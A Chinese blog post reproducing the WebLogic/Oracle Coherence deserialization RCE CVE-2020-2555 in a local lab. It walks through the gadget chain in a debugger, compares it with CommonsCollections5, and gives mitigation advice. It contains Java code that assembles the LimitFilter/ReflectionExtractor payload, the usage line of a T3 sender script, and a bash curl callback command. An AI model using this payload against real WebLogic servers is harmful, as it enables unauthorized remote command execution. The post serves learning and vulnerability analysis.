0x00 前言

有朋友问我最近博客为什么不更新了。最近都在搞模块化的学习,就没有一一记录发到博客里面的(偷懒还有理了)。前段时间学了Java安全,跟了一些漏洞吧,这里先发一篇很水weblogic反序列化漏洞复现,如有不对,麻烦师傅们指正。

0x01 简介

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件,在2020年1月,互联网上爆出了Weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,获取Weblogic服务器权限,执行任意命令,风险较大。

0x02 漏洞概述

该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 方法内部的m_aExtractorm_oAnchorTop可以由我们自行设置,m_aExtractorm_sMethodm_aoParam分别对应待执行的方法和参数,通过对他们的设置,我们可以利用反射执行任意命令

Gadget如下

Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                LimitFilter.toString()
                    ChainedExtractor.extract()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Class.getMethod()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.getRuntime()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.exec()

Requires:
        Oracle Coherence

0x03 影响版本

  • Oracle Coherence 12.2.1.4.0

  • Oracle Coherence 12.2.1.3.0

  • Oracle Coherence 12.1.3.0.0

  • Oracle Coherence 3.7.1.17

0x04 环境搭建

本次复现在jdk1.8.0Oracle Coherence 12.2.1.3.0中进行

oracle官网选择相对应的Weblogic版本,使用管理员权限安装,在安装时可选择“带完整案例安装”

安装成功后可执行user_projects\domains\wl_server下的startWebLogic.cmd开启Weblogic服务

image-20210121233052506

0x05 漏洞复现

由于本次复现注重于反序列化漏洞的分析,而github上许多工具都是优化过的。我们这次只需要用到工具的一部分文件,可以让我们更好地理解利用过程和漏洞原理。

使用Y4er师傅的POC,下载src/com/supeream/CVE_2020_2555.javasrc/com/supeream/serial/Serializables.java,删除一些这两个文件没使用到的导入类

image-20210122092902980

选择>File>Project Structure>Libraries添加jar包,将weblogic目录下conherence\lib下的conherence.jar包导入

img

为了更直观,我们可以先弹一个计算器,将extractor3处待执行命令改为"calc.exe"

image-20210122093903865

注释掉T3发包那行代码

image-20210122093128404

运行CVE_2020_2555.java,将会生成test.ser文件

依旧使用Y4er师傅的python脚本,发起T3请求,将我们的payload发送至Weblogic服务器

Usage: python weblogic_t3.py <host> <port> </path/to/payload>
    eg:
python weblogic_t3.py 169.254.244.203 7001 ./test.ser

image-20210122093754382

可以发现,我们的命令已被执行

值得注意的是,利用一个版本的conherence.jar生成的payload对其他版本是不适用的(如用12.2.1.3.0生成的payload发送到12.2.1.4.0会有如下报错),因此,还有很多需要优化的地方,本篇文章暂不提。

image-20210121111222917

0x06 漏洞分析

先在extractor3处执行命令改为其他命令(防止在调试过程中疯狂弹计算器),重新生成test.ser

取消main函数最后一行deserialize的注释

image-20210122094318959

BadAttributeValueExpExceptionreadObject处打下断点(众所周知,在反序列化时会调用类的readObject方法,通过Gadget链我们也可以发现触发点为BadAttributeValueExpException.readObject()

image-20210122094456054

开启debug

image-20210122095212825

此时valObjcom.tangosol.util.filter.LimitFilter

image-20210122095410771

进入LimitFiltertoString方法,可以找到extract的调用,此时m_oAnchorTopjava.lang.Runtime,this.comparator的m_aExtractor为一个数组(这个点会在后面用到)

image-20210122103051694

进入extract函数(ChainedExtractor.extract())

此时aExtractor被赋值为m_aExtractoroTargetm_oAnchorTop(class java.lang.Runtime)

image-20210122100628593

进入循环

首先是aExtractor[0]

image-20210122103238980

进入extract(ReflectionExtractor.extract()),可以看到是常规的反射了,相当于

getMethod.invoke(java.lang.Runtime.class,new Object[]{"getRuntime", new Class[0]})
    // > 相当于
    java.lang.Runtime.class.getMethod("getRuntime",new Class[0]);

image-20210122103825660

此时oTargetgetRuntime,进入下一次循环,aExtractor[1]

image-20210122104204067

进入extract(ReflectionExtractor.extract()),和上面一样,此时相当于

invoke.invoke(Runtime.getRuntime(),new Object[]{null, new Object[0]})
    // > 相当于
    Runtime.getRuntime().invoke(null,new Object[0])

image-20210122104539742

此时oTargetRuntime,进入下一次循环,aExtractor[2]

image-20210122105142663

进入extract(ReflectionExtractor.extract()),此时相当于

exec.invoke(Runtime,Object[0]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}})

    // Object[0]内容即为我们待执行的命令

    // > 相当于
Runtime.exec(new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"})

image-20210122105655990

此时,我们的命令就被执行了

至此,我们已经走完了这条Gadget链

跟过CC链的同学应该会觉得很熟悉,这不就是CC5的改版么?我们看看CC5的Gadget链

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

    Requires:
        commons-collections
 */

都是由BadAttributeValueExpException.readObject()方法通过valObj.toSting触发,CC5的valObject为TiedMapEntry,CVE-2020-2555的valObject为LimitFilter。(在生成payload时可通过反射设置)

image-20210122111227068

image-20210122111421418

而生成RunTime,执行exec时,用的思想也是一样的,通过前者执行后得到的作为下一个的参数

image-20210122112249476

image-20210122112524080

image-20210122112412708

image-20210122113137049

妙啊~

我们现在再来看一下怎么构造POC吧

我们知道这个Gadget是从BadAttributeValueExpException类开始的,回到该类的readObject方法,可以看到他是获取了val的值,也就是说,我们需要让val的值为LimitFilter的对象,以触发其toString方法

image-20210122133202887

由于BadAttributeValueExpException类的val是私有的,所以我们需要通过反射设置他的值

image-20210122133711126

image-20210122133625149

这个时候肯定会有同学问为什么不在57行处传入limitFilter,让他直接作为val的值,我们跟进一下,看到他的构造器,可以发现,如果直接传入,他会把toString处理过后的val当做自己的val,这个时候就已经触发了toString方法

image-20210122133919203

得到的了经过toString处理后的值,其类型为String,无法进入我们想要的toString,也就无法触发我们剩下的环节了

image-20210122141508145

image-20210122141710818

接下来就是构造我们的LimitFilter的对象了,之前分析时提到调用了extractor(m_comparator)的extract方法,传入m_oAchorTop

image-20210122142214942

ChainedExtractor#extract方法会获取m_aExtractor,并遍历调用其(ReflectionExtractor类)extract方法

image-20210122143347128

ReflectionExtractor#extract则执行了method.invoke(oTarget,this.this.m_aoParam),而这两个值是可以通过构造器设置的

image-20210122153525052

也就是说,我们只需要让LimitFilter对象的m_aExtractorm_sMethodm_aoParam分别设置成待执行的方法和参数,而LimitFilter对象的m_oAchorTop作为第一次执行extract的对象

如在反射过程中我们第一步需要执行Runtime.class.getMethod(getRuntime,new Class[0]),则

m_oAchorTop = Runtime.class;

ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}

        );

// 遍历到该ReflectionExtractor时就会执行
// getMethod.invoke(m_oAchorTop,new Object[]{"getRuntime", new Class[0]})

下一步就是将第一次得到的对象作为参数,执行下一次的extract,如此类推可得其他ReflectionExtractor,再将他们生成的数组作为ChainedExtractor的参数

        // Runtime.class.getRuntime()
        ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}

        );
        // get invoke() to execute exec()
        ReflectionExtractor extractor2 = new ReflectionExtractor(
                "invoke",
                new Object[]{null, new Object[0]}

        );
        // invoke("exec","calc")
        ReflectionExtractor extractor3 = new ReflectionExtractor(
                "exec",
//                new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
                new Object[]{new String[]{"calc.exe"}}

        );
        ReflectionExtractor[] extractors = {
                extractor1,
                extractor2,
                extractor3,
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

利用反射让chainedExtractor作为limitFilterm_comparator

image-20210122155854360

最后让修改badAttributeValueExpExceptionvallimitFilter即可

image-20210122160222754

至此生成了完整对象,将他序列化后生成文件输出即可

0x07 修复建议

  • 如果不依赖T3协议进行JVM通信,可以禁用T3协议作为临时处理
  • 官网安装安装补丁

0x08 总结

这是我第一次复现Java的CVE,所以选择了一条比较简单的进行复现。在复现过程中也出现了一些小问题,多亏了有DEADF1SH_CAT师兄的指导( '▿ ' )。由于是第一次写Java漏洞分析,写的比较啰嗦,但是个人觉得初学还是有必要理一下这些逻辑的,对于我这种萌新来说比较友好。在以后的复现中,也会省略一些比较简单的分析。

此外,如果各位师傅在阅读本次复现过程中发现什么不对的,欢迎指正。

参考链接:

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...